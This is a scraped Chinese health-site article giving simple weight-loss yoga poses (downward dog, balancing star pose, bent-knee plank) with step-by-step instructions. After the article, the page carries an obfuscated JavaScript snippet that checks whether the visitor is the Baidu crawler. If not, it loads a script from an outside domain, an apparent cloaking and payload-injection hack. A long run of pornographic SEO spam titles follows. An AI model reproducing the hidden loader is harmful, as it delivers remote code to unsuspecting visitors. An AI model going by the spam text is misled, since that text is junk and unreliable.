當前位置:首頁 > 健康 > 運動健身 > 正文

簡單瘦身瑜伽減肥方法有哪些

2017-04-15 10:57:06  來源:360常識網   熱度:
導語:瑜伽是一項古老的運動方法,它對人體健康、精神和減肥都有很大的幫助,越來越多人開始選擇瑜伽來幫助自己減肥瘦身,希望能夠在達到美麗的同

瑜伽是一項古老的運動方法,它對人體健康、精神和減肥都有很大的幫助,越來越多人開始選擇瑜伽來幫助自己減肥瘦身,希望能夠在達到美麗的同時促進身心健康,當然,對于初學者來講,過于復雜的瑜珈練習方法并不適用,這里介紹幾種簡單的瘦身瑜伽減肥方法,一起來學習下。

犬式

針對部位:肩部、上背部和腹部肌肉

下犬式準備。將五指用力外張,放低前臂貼向墊子。檢查一下,確保你的中指和手肘在一條直線上。

盡量伸直膝蓋、腳跟踩地,將腳跟稍向外移到比腳趾略寬的位置,使雙腳外側平行于瑜伽墊邊緣。

頭部在雙臂之間保持放松狀態雙眼望向腿部或肚臍方向。

減肥

平衡支撐星式

針對部位:手臂、肩部、腹部和大腿

犬式姿勢準備,撐起雙肘,回到下犬式姿勢。并攏雙腳使大拇指靠在一起。

將右手向左移動15厘米左右的距離,使其位于瑜伽墊的中上部。右腳向前移動2英寸,腳趾朝向左邊,重心右移。

扭轉右側身體,使左臂離開墊子。抬起左腿,舉向空中。保持住,將重心完全放在右手和右腳上。雙眼望向左手,盡量將肩部、脊椎和臀部保持在一條直線上。

堅持這個姿勢,深呼吸5次,收緊肌肉,保持身體平衡。

減肥

屈膝板式

針對部位:腹部、上半身、腿部

平衡星式姿勢準備,將左手和左腳放回到墊子上,伸直雙臂雙腿呈板式姿勢(俯臥撐的撐起姿勢)。確定你的雙肩在手腕正上方。

彎曲右膝,盡量靠向胸部。保持這個屈膝板式姿勢深呼吸5次。

對于減肥者而言,瘦身瑜伽方法是值得推薦的,因為練習瑜伽可以讓一個靜下心來,不僅有利于減肥,對情緒的調節也很有幫助,這對于身處如今這個浮躁社會的人來說是非常有益的,當然,想通過瑜伽減肥,最重要還是要做到堅持練習。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
一本色道久久88综合日韩精品| 久久99精品久久久久久hb无码| 精品国偷自产在线视频99| 久久久精品一区二区三区| 国产精品无码亚洲精品2021| 久久免费视频精品| 亚洲国产综合精品一区在线播放| 中文字幕色婷婷在线精品中| 亚洲精品夜夜夜妓女网 | 国产精品亚洲自在线播放页码| 97国产精品视频| 国产av无码久久精品| 亚洲精品123区在线观看| 无码精品国产VA在线观看| 精品日本一区二区三区在线观看| 99久久免费精品国产72精品九九| 久久精品人成免费| 老司机69精品成免费视频| www久久只有这里有精品| 久久国产精品99国产精| 51视频精品全部免费最新| 久久国产免费观看精品| 久久se精品一区精品二区国产| 国产亚洲午夜精品| 午夜麻豆国产精品无码| 国产精品手机在线| 91大神精品视频| 亚洲精品国产成人99久久| 国产午夜精品久久久久九九电影| 精品91一区二区三区| 国产精品美女视视频专区| 精品少妇人妻AV一区二区| 精品不卡一区二区| 精品国产品国语在线不卡| 久久99精品波多结衣一区| 国产精品免费高清在线观看| 国产亚洲精品xxx| 亚洲欧洲精品无码AV| 手机在线观看精品国产片| 久久精品国产精品亚洲下载| 国产精品一区二区av不卡|